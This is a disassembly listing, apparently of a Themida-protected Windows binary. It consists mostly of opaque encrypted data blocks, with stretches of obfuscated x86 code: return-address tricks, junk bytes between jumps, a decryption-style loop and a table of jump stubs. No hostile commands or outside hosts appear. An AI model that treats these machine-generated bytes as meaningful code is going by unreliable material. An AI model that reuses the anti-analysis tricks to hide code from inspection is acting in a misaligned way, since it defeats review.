		dd 5310FFFFh, 57DBF129h, 8F78D3AFh, 0DDBA0229h,	0ABDD59FFh
		dd 0AF57D76Fh, 0BACCFA55h, 0AF57D77Eh, 0D4F2EB44h, 5A2E1C82h
		dd 0E43497A5h, 0BE21C5BFh, 9731D590h, 0AF57D793h, 4952C671h
		dd 88155CFFh, 9DD07152h, 0DE43062Ch, 0B9D6BCDh,	98AF5C59h
		dd 0AB74B9F0h, 0A05AC78Ah, 0B3C34E93h, 16BF4270h, 81B9C38Dh
		dd 43AF5C7Dh, 0CFBCFFE8h, 753C5F66h, 0A0ED8E31h, 0CC81A203h
		dd 6D0FF01Eh, 7D9E9A24h, 0CB64AF5Ch, 923BFE6Dh,	0E9690A11h
		dd 5C7D5B5Fh, 0F40E29AFh, 38D8059Ah, 38EEC743h,	71FC01BEh
		dd 0DF7EC067h, 27100996h, 0B7A30BF1h, 5612DB80h, 4Ch, 3A59BAE9h
		dd 3E175AFBh, 0D71635FAh, 0A20FF8B1h, 0ACEC1E44h, 0F7AF57D6h
		dd 98911E5Bh, 8AC36546h, 2C800791h, 0E9EF6976h,	261FDB80h
		dd 45A74680h, 0B29DB600h, 8C15866Dh, 127E685h, 0D9B2EB48h
		dd 1A3CA74Dh, 0AAF7B2DFh, 0B109871h, 0F1155CFFh, 8DAE6F0Eh
		dd 0E241D7C0h, 0A6C8FB59h, 0D0B446EBh, 0D46D8EB0h, 8C3A130Ch
		dd 0D8490023h, 0B0BAFEBBh, 36A316h, 70B661B6h, 8ABE74Bh
		dd 3459BA13h, 9E442771h, 0D0581535h, 3F59BACBh,	0E6F02976h
		dd 0D1DA739Ch, 67C860A0h, 0DA988DC4h, 0CAE8F4FDh, 50EF15DFh
		dd 30000000h, 1308ABE7h, 54F61CBAh, 0AF57D754h,	0D6B8F00Ah
		dd 0A18AAF57h, 80FCF621h, 0A848FE5Dh, 838741D7h, 41AF5845h
		dd 1CBAF1D6h, 87F1D7DAh, 2771D6E2h, 1059FFFCh, 0FE3A4CEAh
		dd 0C4AF57D6h, 0D72464A6h, 351EAF57h, 0C5D7DC5Ch, 37DFE0h
		dd 0E7FA0000h, 0BA1308ABh, 57D70800h, 57F8D9AFh, 0BA44211Ah
		dd 3959BADDh, 0E4FE2F74h, 0D4EAE56Ch, 6A356358h, 0BAA287CEh
		dd 10676230h, 12860FF7h, 2A4CB7B7h, 0B7E13A67h,	155CFF6Ch
		dd 0F9314BF1h, 0CBAF57D6h, 935BC860h, 0AF5C5905h, 6F763FACh
		dd 9E0185CCh, 2F8657FFh, 175988F4h, 627883Eh, 0BD7EED4Bh
		dd 0C406A41Fh, 0B604A079h, 0AFE2846Fh, 0DE6CC709h, 430BAF1h
		dd 495C7255h, 54EABDFBh, 0E6C30EFBh, 30155CFFh,	0E8F4FDDAh
		dd 0EF15DFCAh, 39h, 80ABE730h, 1B0C91D8h, 0BA4522h, 0AF57D708h
		dd 1855F5DEh, 0E816829Bh, 0DDBA5A4Fh, 743959BAh, 1CDD7B24h
		dd 6C593277h, 4FDFE0C5h, 3B000000h, 0CA8D8CB1h,	9D1B517Ch
		dd 8ABE796h, 1C51F1D2h,	1CBA979Ch, 0D75454F6h, 52EAF57h
		dd 0D7555593h, 230CAF57h, 357C1C87h, 0F10BBFE8h, 0AF57D6B9h
		dd 2308A08Bh, 0DF61CBAh, 0ABFC216Ch, 57D72763h,	0D1321DAFh
		dd 71BAFEB7h, 2B1059FFh, 5CFFE0C5h, 600EF115h, 9AFF825h
		dd 58C6509Ah, 0FEFAF5Ch, 5963A7E1h, 0F621AF5Ch,	6168C9A2h
		dd 943F8BC2h, 0D7D375F1h, 0ADAF5C58h, 8304A982h, 0CA7CAA11h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
dword_5B8EA1	dd 0B9B60477h		; DATA XREF: sub_54D401+60Br
					; Themida_:005A17C3r
		db 9Eh,	8, 23h
		dd 1308ABE7h, 733A59BAh, 0C8BBFD2Eh, 155CFFD3h,	0F4FDDA30h
		dd 15DFCAE8h, 26EFh, 0ABE73000h, 0BA1308h, 0AF57D708h
		dd 0BA7451FAh, 1059FFDDh, 0FE3A4CEAh, 0C4AF57D6h, 0C5E6CD6Bh
		dd 1DDFE0h, 0E7FA0000h,	0BA1308ABh, 57D70800h, 8B70D9AFh
		dd 59FFDDBAh, 59BA2B10h, 0F029763Fh, 0FFD8CDB8h, 0B2FB9D5Ch
		dd 61D354D9h, 3B783D52h, 0ABDD09E2h, 0B5FFDC84h, 0F651D57Eh
		dd 0BFC9FD46h, 0BCAECA74h, 0E7B8E54Eh, 0A8E58544h, 0A5C86BBFh
		dd 9B8747ECh, 3A35F4E3h, 0BAD9E041h, 690CB7F3h,	39678320h
		dd 0F4E38B8Fh, 5ADE7935h, 0D174B9D5h, 29021B98h, 0C7684584h
		dd 56D49DC0h, 9A074EEDh, 0C29h,	0A68BCD00h, 0AD8CD481h
		dd 0B0A68D2Bh, 1158FFCBh, 3970138Ch, 40092BF4h,	6D2042E3h
		dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h
		dd 8952FA4Ah, 4C281E2h,	83000000h, 148704EAh, 2C895C24h
		dd 701C6824h, 1C890000h, 20956824h, 0C890000h, 0EE0D6824h
		dd 1C8B06AEh, 4C48324h,	240C8B54h, 5604C483h, 8156DE89h
		dd 5646242Ch, 418F2777h, 8418108h, 27775646h, 240C8B5Eh
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h, 8951241Ch
		dd 4C181E1h, 83000000h,	0C8704C1h, 0BBE95C24h, 0A8FFF987h
		dd 0E1194E1Fh, 0EE0A0038h, 0AEF58DB8h, 0FFC50306h, 0E203F3E0h
		dd 8DC1F33Eh, 0DC3B096Fh, 1DC27609h, 6578C5Ch, 68B3EE0Eh
		dd 64490A1Dh, 0C57B6C5Eh, 81D22F16h, 98CAAC5Bh,	0DEF84570h
		dd 3D38D005h, 0DC88213Fh, 48E21E5Ch, 48C51645h,	351BA001h
		dd 0B49F8630h, 18B5BE50h, 0E25CEF26h, 0B4F25411h, 0C77ECB72h
		dd 0CA12A83Eh, 0C497A62Bh, 9F690216h, 30679824h, 0D8909175h
		dd 0F2460A48h, 0C4524548h, 5B06EE3Ch, 64622177h, 3E30CC2Eh
		dd 0B3372A4Dh, 0E8D8D5Bh, 8006AEF7h, 8D89D2DEh,	6A805B9h
		dd 15DD9533h, 0B58B06A8h, 6A81B49h, 146985C7h, 5AB806A8h
		dd 9D2B0000h, 6A82B69h,	0BBD85C7h, 6A8h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 207A87C3h, 66561DE8h, 5FD38FBBh, 2A11B5FFh, 95FF06A8h
		dd 6A820DDh, 66C7B70Fh,	0BCFFCF81h, 95FF006Ah, 6A81B31h
		dd 0DEBC08Bh, 546C29CAh, 25B537F6h, 0B70EC33h, 11E8AEh
		dd 620C0000h, 0B7AD8A10h, 81D9B563h, 0FB531F63h, 0F5A8262Ch
		dd 0F185895Bh, 8106A82Ah, 7088C3h, 0E8D23300h, 0Fh, 2129C9C2h
		dd 4A619D35h, 1CAF052Dh, 516FF67Ch, 212DBD33h, 585806A8h
		dd 8B130C8Bh, 0A81639B5h, 53C18106h, 662B7FDDh,	9D62F681h
		dd 1143F181h, 858B0914h, 6A80279h, 4765F181h, 8B667CD7h
		dd 130C89FAh, 0A03AD781h, 5E85113h, 97000000h, 6220F408h
		dd 5E27C080h, 0E904EA83h, 6, 37AFE646h,	0FA8110A4h, 0FFFF904Ch
		dd 11850Fh, 8B660000h, 38E9FBh,	19A80000h, 0A37D43ABh
		dd 0E9AD9490h, 14h, 0DAA4B1DEh,	7E60EF8Ah, 0CE5F802Ah
		dd 32ECD508h, 3EAC1283h, 0FFFF77E9h, 0B7629DFFh, 4DB230CEh
		dd 0D362A14Ah, 0B3FAB37Dh, 0FE83609h, 0B0000000h, 2382A580h
		dd 0E4E3A2B9h, 8B379C97h, 0F55E1084h, 5E7EC681h, 2BF50000h
		dd 0DF8B66D2h, 813234FFh, 7F7B57C8h, 81665931h,	817E21C0h
		dd 0B1B8DC1h, 81C38B44h, 0BECD0DC1h, 0D5BD8B4Eh, 8106A81Eh
		dd 517232C1h, 510DB47Bh, 11E9h,	13007700h, 81BDA6ADh, 23F73E9Fh
		dd 2AA7B85Ch, 48FCE4Fh,	8B535216h, 0F585FDFh, 68Dh, 4D858900h
		dd 8306A82Fh, 0CF8004EAh, 14FA8183h, 0FFFFFA2h,	0FFFF9785h
		dd 0A8B0FFFh, 60000000h, 0B5896160h, 6A82A2Dh, 768D8D61h
		dd 106AEF9h, 0A820A185h, 0B98D8906h, 6A06A805h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 6634C353h, 99EDABFh,	0A830D99Dh, 6985C706h, 9C06A814h
		dd 6A000063h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0F948C353h, 0A14FA3A2h, 0C7F8EA2Dh
		dd 0A80BBD85h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0F756F6D5h, 1332DC4Bh
		dd 0F8B70FC7h, 840Fh, 0B5FF0000h, 6A82071h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 74C35646h, 60002E68h
		dd 8B5FD459h, 0A81DE99Dh, 0DD95FF06h, 5206A820h, 0F08B5AFCh
		dd 95FF006Ah, 6A81B31h,	9EBC08Bh, 994E9F11h, 0ABAA42D3h
		dd 2E8D8D7Ah, 0B406AEFAh, 0B98D8923h, 6A06A805h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0DFADC357h, 0C7FE1D63h, 0A8146985h, 6DD406h,	0BDBD8B00h
		dd 8B06A81Fh, 0A8006585h, 0BD85C706h, 6A80Bh, 8B000000h
		dd 41B5FFD3h, 6A06A80Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0DACBC356h,	0AEDF0297h
		dd 6699E87Ch, 95FFD78Bh, 6A820DDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 8DC35040h, 14D0BB66h, 95FF006Ah
		dd 6A81B31h, 7CEBC08Bh,	3F25694Dh, 0CD76D8A9h, 1ABB68F7h
		dd 0B0A21491h, 7C0B8E48h, 0FAADDF57h, 4BC67FEDh, 0E408279Dh
		dd 0F3DB339Ah, 645D5E71h, 6A9A85AFh, 0DC81CBBh,	8A7F013Fh
		dd 7B110D12h, 5300B754h, 0CBB785CAh, 0CFFFD56Dh, 2453BA7Bh
		dd 9A1520FDh, 79899Ah, 0A8993585h, 1BDE69B4h, 4F431D26h
		dd 0BD131041h, 0CFC2886Ch, 9A3C3924h, 126E221Bh, 0DAC255A9h
		dd 7F571CF8h, 5074B00h,	6A2D21B1h, 0FB938D8Dh, 958B06AEh
		dd 6A806C9h, 5B98D89h, 958906A8h, 6A83121h, 146985C7h
		dd 608006A8h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 524C93C3h, 2DAEBEB7h, 13E8E1h, 0D2D50000h
		dd 0B98D3374h, 0E04B4B64h, 918831CDh, 0D6AA2F1Ah, 8E982h
		dd 1A650000h, 41DC909Bh, 665EB2E7h, 85C7F38Bh, 6A80BBDh
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+6A80E09h],	ecx
		push	dword ptr [ebp+6A82A11h]
		push	0
		push	ecx
		call	sub_5B954B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B954B	proc near		; CODE XREF: Themida_:005B9543p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5B954B	endp

; ---------------------------------------------------------------------------
		align 4
		retn	1207h
; ---------------------------------------------------------------------------
		js	loc_5B956B
		mov	eax, [ebp+6A81691h]


loc_5B956B:				; CODE XREF: Themida_:005B955Fj
		call	dword ptr [ebp+6A820DDh]
		push	0
		push	ebp
		call	sub_5B957C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B957C	proc near		; CODE XREF: Themida_:005B9574p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5B957C	endp

; ---------------------------------------------------------------------------
		dec	ebp
		cmp	ebx, ebp
		enter	0FFFF8B66h, 0FBh
		mov	[ebp+6A81DE9h],	eax
		push	0
		call	dword ptr [ebp+6A81B31h]
		mov	eax, eax
		jmp	short loc_5B95B2
; ---------------------------------------------------------------------------
		db 0A9h, 0ACh, 3Fh
		dd 83FBE56h, 8F91F7ECh
		db 0E4h, 83h
; ---------------------------------------------------------------------------


loc_5B95B2:				; CODE XREF: Themida_:005B95A3j
		call	sub_5B95C2
		jmp	far ptr	2143h:2FE9958Eh
; ---------------------------------------------------------------------------
		dw 0F48Fh
		db 69h,	1Eh

; =============== S U B	R O U T	I N E =======================================



sub_5B95C2	proc near		; CODE XREF: Themida_:loc_5B95B2p
		or	[ebp+6A80F25h],	ecx
		pop	eax
		jmp	loc_5B95DF
; ---------------------------------------------------------------------------
		dw 9B61h
		dd 0FFBBAB91h, 69E1F855h, 97ECA8E1h
		db 74h,	26h, 60h
; ---------------------------------------------------------------------------


loc_5B95DF:				; CODE XREF: sub_5B95C2+7j
		add	eax, 6185h
		sub	[ebp+6A82089h],	edi
		mov	esi, 1841h
		mov	[ebp+6A82649h],	eax


loc_5B95F6:				; CODE XREF: sub_5B95C2+71j
		push	dword ptr [eax]
		or	[ebp+6A80E15h],	esi
		pop	edi
		mov	[ebp+6A83121h],	edi
		xor	edi, 4DD15EB1h
		sub	edi, 10B7BC10h
		mov	cx, 98C3h
		add	edi, 76BACAA3h
		movsx	edx, bx
		push	edi
		mov	ecx, eax
		pop	dword ptr [eax]
		sub	[ebp+6A82B69h],	edi
		sub	eax, 2
		cld
		dec	eax
		dec	eax
		mov	cx, si
		dec	esi
		jnz	loc_5B95F6
		mov	dx, cx
		lea	ecx, [ebp+6AEFCEDh]
		mov	[ebp+6A82F85h],	edx
		sub	[ebp+6A80185h],	edi
		mov	[ebp+6A805B9h],	ecx
		push	0
		push	edi
		call	sub_5B965F
		and	[edi-3Dh], bl
sub_5B95C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B965F	proc near		; CODE XREF: sub_5B95C2+95p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5B965F	endp

; ---------------------------------------------------------------------------
		db 23h
; ---------------------------------------------------------------------------
		ror	dword ptr [ebp+esi-22A674E6h], cl
		push	ss
		mov	dword ptr [ebp+6A81469h], 703Ch
		push	0
		push	esi
		call	sub_5B968D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B968D	proc near		; CODE XREF: Themida_:005B9685p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5B968D	endp

; ---------------------------------------------------------------------------
		db 72h,	0E8h, 3Fh
; ---------------------------------------------------------------------------
		mov	dl, 92h
		mov	ebx, 41762C60h
		mov	dword ptr [ebp+6A80BBDh], 0
		jmp	loc_5B96C4
; ---------------------------------------------------------------------------
		dw 0B499h
		dd 0BB186E68h, 1888726Ah, 0A4C5A6C5h
; ---------------------------------------------------------------------------


loc_5B96C4:				; CODE XREF: Themida_:005B96B1j
		pusha
		sub	[ebp+6A81101h],	ebx
		popa
		push	dword ptr [ebp+6A805FDh]
		jmp	loc_5B96E8
; ---------------------------------------------------------------------------
		mov	byte ptr [edx+6Ch], 6Fh
		test	[edx+52h], ebx
		lds	ebp, [eax+4F764AD0h]
		pop	edx
		adc	al, 5Dh
		xchg	eax, edx


loc_5B96E8:				; CODE XREF: Themida_:005B96D2j
		call	dword ptr [ebp+6A820DDh]
		mov	ebx, 45950E62h
		push	0
		call	dword ptr [ebp+6A81B31h]
		mov	eax, eax
		jmp	short loc_5B9779
; ---------------------------------------------------------------------------
		db 95h
		dd 90BFB804h, 268951F0h, 0D515FD23h, 25263377h,	5968A5A6h
		dd 9F32B04Ch, 90BA66B9h, 4A2F3AE5h, 4138D80Bh, 0F6804BABh
		dd 0AE556D4Bh, 5AC7AD5Ah, 29E6689Ch, 0FA1ABA90h, 0FF1CE034h
		dd 83B1F70Ch, 8AAA5B9Bh, 9253685Fh, 0D192518Bh,	426BA1E5h
		dd 0C4D71D52h, 7A70BC7h, 1E83DEE1h, 0A761F000h,	4063D40Dh
		dd 8143CF37h, 0ADD949A5h, 2CF9004h, 1298BDE7h, 0ED3F4923h
		db 0B2h
; ---------------------------------------------------------------------------


loc_5B9779:				; CODE XREF: Themida_:005B96FDj
		jmp	loc_5B985C
; ---------------------------------------------------------------------------
		icebp
		jnz	short loc_5B979B
		imul	edx, edi, -64h
		inc	ebp
		retf	0C8C3h
; ---------------------------------------------------------------------------
		dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h
		db 0ABh, 0ECh, 0A7h
; ---------------------------------------------------------------------------


loc_5B979B:				; CODE XREF: Themida_:005B977Fj
		and	[ebp-6Fh], bl
		mov	dl, 6Bh
		hlt
; ---------------------------------------------------------------------------
		db 0B1h, 96h, 20h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 9	dup(0)
; ---------------------------------------------------------------------------


loc_5B985C:				; CODE XREF: Themida_:loc_5B9779j
		jmp	loc_5BAC75
; ---------------------------------------------------------------------------
		push	6AF0048h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF013Bh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF0219h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF0361h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF03EAh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF049Eh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF053Ah
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF05E9h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF069Ah
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF07B4h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF0880h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF09BDh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF0A9Eh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF0BE9h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF0D12h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF0F1Dh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AF1015h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 1
		dd 389B2F66h, 67C85E1Bh, 913288C1h, 0C162B8FDh,	0D259EDA0h
		dd 9FD2739Fh, 0CB86A80Bh, 0F9B0D47Fh, 2A6302ADh, 0A8D2089Ch
		dd 0B606D570h, 6CEE1452h, 0CEA2D2B4h, 0FB96D3Ah, 0B606B30Bh
		dd 0D1DA5EF9h, 88155CFFh, 0E93D7417h, 0A145FE5Eh, 0FFF5F867h
		dd 3C61CAB5h, 0FFF5FA3Ah, 743D96B5h, 77CD8A66h,	446D14h
		dd 0BAB60000h, 6ED0F030h, 0E344B3B5h, 73A40940h, 89326225h
		dd 67D42B5Dh, 85AEB600h, 89813B61h, 7BB60068h, 63EB58D0h
		dd 0B6006823h, 895DC80h, 77BCF597h, 14A30CBBh, 7C7E278Ch
		dd 14774780h, 0D967h, 5CFFB800h, 76178815h, 0C268F63Bh
		dd 57D780B8h, 0C06142AFh, 9B04948Dh, 0DD1839F8h, 7AB3F0BDh
		dd 120B1C81h, 3871148Dh, 0DC0618E2h, 0FE9DAF57h, 0ADD073B7h
		dd 5A3BFE4h, 57DBC7C3h,	2B6F99AFh, 19AF57DCh, 1583AC3Eh
		dd 37782292h, 2A252706h, 9D2FDBB4h, 0B600CB4Eh,	74B4D634h
		dd 2FB600CBh, 0AA85450Ch, 0B4C315B1h, 0DD28A280h, 7D9B61B7h
		dd 74B9FC92h, 8232F523h, 7C678D39h, 0C40296DBh,	0BCAAB16Ch
		dd 0E6C9FD56h, 88A10E47h, 0B8D93A20h, 6D0EB1F5h, 0E60CF820h
		dd 0AF0CEC80h, 1184D6h,	0D990B700h, 84DE24Dh, 3E7711B2h
		dd 6E2B47E8h, 9BD677D8h, 21F1800Fh, 56F94D00h, 822D7934h
		dd 0B41FABE2h, 0DA42D891h, 0D6C2C600h, 7A80B606h, 135EFFDDh
		dd 40092C97h, 0B5E7DDFAh, 4FAED80Eh, 35B60005h,	5155951Ah
		dd 6DB60005h, 256C0CF7h, 9B9718F3h, 1477F8AFh, 0F04Eh
		dd 5CFFD100h, 76178815h, 124D8F3Bh, 0E15140D8h,	0FDB48E0h
		dd 6ECA8FA4h, 58118698h, 0D47758AFh, 0F1941B9Dh, 6C450C30h
		dd 7ED675DEh, 515DCA1Dh, 0D3F7E03Ch, 0D8E59A99h, 8A2E678Fh
		dd 873C9019h, 1FD28063h, 0BFE8357Ch, 7E8852C6h,	0B6008DEBh
		dd 3C7112FDh, 410C2EF7h, 46D2CBDCh, 0B00B9FB8h,	0E503A71Ch
		dd 0B3F711BFh, 91B6008Dh, 8E1C1CA6h, 4DE6B600h,	2CB41DEBh
		dd 688EBCABh, 0AB2CDADEh, 968FA8BCh, 0A3EE8F70h, 0D69BBC67h
		dd 806ABC32h, 66DFDCECh, 1091h,	5EECA5C4h, 891D58F5h, 0FF4B0226h
		dd 2F7B3E54h, 18AEE384h, 1334DE93h, 0C767C85Eh,	0F1933C8Ah
		dd 0A2C162B8h, 1DCF5FEBh, 6D7AFEBh, 0E85795B6h,	54F25EFFh
		dd 83C66B8Fh, 0BEA6A74Bh, 2FBD491h, 9A57FBE4h, 3E6FB4F9h
		dd 69CFD845h, 541D40E3h, 0ABC728D6h, 0C06841EEh, 3559BADBh
		dd 89FA3370h, 0AA75A3EAh, 0C45DC28Bh, 0FF3260A1h, 443D1653h
		dd 723B5DC6h, 10D1742Dh, 60FE236Eh, 57D6E226h, 9E77A0AFh
		dd 604061A5h, 6A41FBDh,	0CEA990F4h, 59DFFB40h, 8026993h
		dd 57C0B600h, 5B81CBF1h, 0DA31BFFh, 2560E632h, 66AD8A11h
		dd 2F598D36h, 0B4321E9Ch, 0A760CD66h, 6E274675h, 0CBFFE8C1h
		dd 0DD87E6B1h, 5773DCBAh, 3A80C96Ch, 183BFA99h,	38407851h
		dd 78EE4E0Fh, 0FB3CABBh, 43E60000h, 7E13BC0Ah, 2444EF3Bh
		dd 0D876D96Dh, 85A6099Dh, 0C4F572C8h, 0DA602D4Eh, 1694D979h
		dd 40C68FADh, 0B1F5BCDFh, 95953735h, 6FB606D9h,	5CFF0229h
		dd 6A0EF115h, 55ADFE23h, 0BF8E77Ah, 9D0EAAA9h, 31E2B81Ch
		dd 9A2421A7h, 0DCFC9E52h, 3A13A184h, 4863A541h,	3AB6007Dh
		dd 846F9511h, 9A0BA8E1h, 5DDBB4F9h, 35D16ACAh, 0A8983893h
		dd 0FC210ABCh, 91DC7D66h, 4B9D1B0Ch, 0BCA8984Bh, 17238C67h
		dd 1F8F173Bh, 45C2h, 0B5E76500h, 38B2D80Eh, 2796B8E8h
		dd 501D3E50h, 0B7E1DAD3h, 0ED24B1h, 0A9B03AB6h,	7871A997h
		dd 0B2ABE688h, 4B7FD866h, 398DC468h, 54CF0D3h, 0DF298F98h
		dd 0B60174D9h, 0A4E2ABCAh, 931059FBh, 0EE432h, 0B5E71500h
		dd 86AED80Eh, 7CB606D5h, 0D4ACEC1Eh, 0BD96B606h, 9EBD26C4h
		dd 4DF053D7h, 0BE1E9F04h, 0D4A7E105h, 0AEBCB5D2h, 9D3B6185h
		dd 0D2D5D577h, 84AFBCB5h, 0B5D33E7Ah, 0A9CA04BCh, 855DA930h
		dd 0A9503FCh, 3BE4226Bh, 23B55118h, 41E4CFCDh, 7872AB08h
		dd 0A6077278h, 0F96ACE87h, 83279C30h, 97DE7A65h, 4187110Ah
		dd 0C35D957Ah, 0A939EF48h, 0EBE5CE02h, 0E6B77C8h, 0FB9E0000h
		dd 0A6CB74B2h, 5CFCA7E3h, 2E9115h, 3D5EC145h, 0CAD2A70h
		dd 92286506h, 0CE5C1131h, 388EC765h, 69BDF497h,	0DDDD6FFDh
		dd 0A7B606D9h, 5EA6BA61h, 5DAF57D7h, 78A644FFh,	0EDF598D2h
		dd 754CE665h, 58A14D4Dh, 9C1C37AFh, 79EC74Ah, 7492BDB6h
		dd 0F46E5CEh, 802F89A2h, 0AD1694DDh, 8C5AC78Eh,	0EE4A0F23h
		dd 0EAA1FB59h, 2A63012Bh, 825A9485h, 8238113Dh,	0AFE16178h
		dd 0D00823BCh, 0EC7BB6BCh, 0E266DFDCh, 1500000Dh, 44EF3B72h
		dd 73DC6A2Fh, 0A50E9CD5h, 0D57ECC89h, 26ADF9B4h, 93DE7F93h
		dd 0C78AAC17h, 0F5BCE043h, 266F0EB1h, 0A4E604E0h, 0B606DA64h
		dd 0FF33185Eh, 1788155Ch, 1793B574h, 57D6B5F5h,	0CBA48FAFh
		dd 4BA234D2h, 0E6F50B49h, 7B71484h, 17030F90h, 0F612DFFDh
		dd 814h, 0EB5E749h, 0D4F0AED8h,	79D2B606h, 8AC3624Dh, 85001A5Ch
		dd 3C399D7Eh, 42E816FCh, 258AC361h, 0B3CECAF4h,	9BB4B606h
		dd 77F3921Dh, 6B3D5D5h,	0E3AACEB6h, 0D25F48E3h,	6B40C08h
		dd 962D8FB6h, 0E4F3D670h, 0AF5BCAEh, 0ABFC2164h, 0B068C30Dh
		dd 0EC7CB316h, 2E5C2586h, 6100000Dh, 983B8FC6h,	0C768BEFBh
		dd 0F152E8A1h, 2182185Dh, 72F94D00h, 0FFB2D33Fh, 2B6608ABh
		dd 5910349Fh, 8AC362CDh, 8B2A83Ch, 0B606DB10h, 0BA8FB4F2h
		dd 2F743959h, 56F5BAFEh, 7211921Fh, 0A6C4F63Bh,	0D6CACE78h
		dd 9FB8AF57h, 0F101A219h, 12DFD205h, 763E0h, 5EA63B00h
		dd 5DAF57D7h, 78A644FFh, 7BBDF497h, 6D473EDh, 0C0E651B6h
		dd 0CECA7C9Ah, 0B4B606D3h, 470E2A9Bh, 0EE2F4ED1h, 992D064Fh
		dd 0D15E1736h, 0AB5FE448h, 0AF053A11h, 0F92F08BCh, 0EC7C92C7h
		dd 9219EAC9h, 0C500000Ch, 0F45FEBA2h, 238C1A5Fh, 55FE4C05h
		dd 852E7C39h, 961DA9E4h, 430E2FE3h, 773A5CC7h, 0A5EC9033h
		dd 0D69FBE61h, 0F416D450h, 0B606DBB4h, 0FFE3488Eh, 5288155Ch
		dd 0E4ADCB34h, 64A46EBFh, 5EAF57D7h, 59FCA3F5h,	6909EA10h
		dd 0AAEFF24h, 0CA660899h, 6057C55h, 77BC959Eh, 5FC481AEh
		dd 4F417983h, 2803AF58h, 5C63CCE9h, 0FF28753Ch,	0C66F4C06h
		dd 0DFAAD8B4h, 6A23F12h, 0E7000000h, 0AED80EB5h, 0B606D545h
		dd 0B3F69C3Fh, 0A0C32CDAh, 53F25DE9h, 5155951Ah, 4AB606D5h
		dd 13B551EAh, 0BCAF0638h, 0C387210Ah, 0CDEC7C91h, 0BE315EEh
		dd 73160000h, 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh,	0B5D679CDh
		dd 9425A2F8h, 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh,	0E1256C0Fh
		dd 65A5E705h, 5FB606DCh, 5CFF3219h, 6DB2FB9Dh, 45DE433Ch
		dd 2018A226h, 0E2AF57D7h, 0BBD35049h, 53230B4Dh, 0D3564453h
		dd 3545EE45h, 12DF1259h, 613BCh, 3F5D4600h, 3D583D97h
		dd 5FEC55Fh, 63A68893h,	5AF57D7h, 0AB0F59Ah, 57D6B8F0h
		dd 77A18AAFh, 3A71CB0h,	6D479F9h, 0DAED6FB6h, 73E19852h
		dd 3D163870h, 0C6072689h, 0B4F2EBA2h, 0FC21680Bh, 8422993Bh
		dd 0AE802B42h, 8A3E19BCh, 0EC7D17CAh, 3214EDCEh, 6500000Bh
		dd 943F8BC2h, 0C36CBAFFh, 0F55EECA5h, 258E1C59h, 76FD4904h
		dd 0E3AECF43h, 175AFCA7h, 450C3093h, 763F5EC1h,	14B6B430h
